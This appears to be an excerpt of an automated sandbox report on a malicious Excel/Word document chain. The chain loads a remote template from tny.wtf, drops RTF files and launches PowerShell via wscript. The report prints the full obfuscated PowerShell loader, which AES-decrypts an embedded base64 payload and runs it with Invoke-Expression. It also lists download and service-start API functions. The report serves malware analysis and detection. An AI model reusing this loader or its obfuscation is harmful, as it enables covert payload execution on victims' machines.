              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: H:\New Private Panell Src 3.0 New\New Private Panell Src 3.0 2025\New Private Panell Src 3.0\dnlib-fuscator-master win7\src\obj\Debug\dnlib.pdb source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: ~DF9958884E9CE0F332.TMP.0.drInitial sample: OLE indicators vbamacros = False
              Source: Purchase Inquiry.xla.xlsxInitial sample: OLE indicators encrypted = True

              Data Obfuscation

              barindex
              Obfuscated command line found
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePJump to behavior
              Suspicious powershell command line found
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041CB50 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,12_2_0041CB50
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 8_2_006622FC pushad ; retn 0067h8_2_006622FD
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 10_2_00350E7D push eax; iretd 10_2_00350E82
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 10_2_00350EBF push eax; iretd 10_2_00350EC2
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 10_2_00350E88 push eax; iretd 10_2_00350E92
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 10_2_00694DDB push FFFFFFB3h; retf 10_2_00694DE0
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00457106 push ecx; ret 12_2_00457119
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0045B11A push esp; ret 12_2_0045B141
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0045E54D push esi; ret 12_2_0045E556
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00457A28 push eax; ret 12_2_00457A46
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00434E56 push ecx; ret 12_2_00434E69

              Persistence and Installation Behavior

              barindex
              Microsoft Office launches external ms-search protocol handler (WebDAV)
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile opened: \Device\RdpDr\;:1\tny.wtf\DavWWWRootJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile opened: \Device\RdpDr\;:1\tny.wtf\DavWWWRootJump to behavior
              Office drops RTF file
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile dump: funtogetbacktomeforgetbacktogetbackkissthingtheentirethingstogetbacktomewithentirethingstogetback_____imangreadytoseegirlfrnd[1].doc.0.drJump to dropped file
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile dump: 823F0820.doc.4.drJump to dropped file
              Office viewer loads remote template
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXESection loaded: netapi32.dll and davhlpr.dll loadedJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00406EB0 ShellExecuteW,URLDownloadToFileW,12_2_00406EB0
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041AA4A OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,12_2_0041AA4A
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041CB50 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,12_2_0041CB50
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
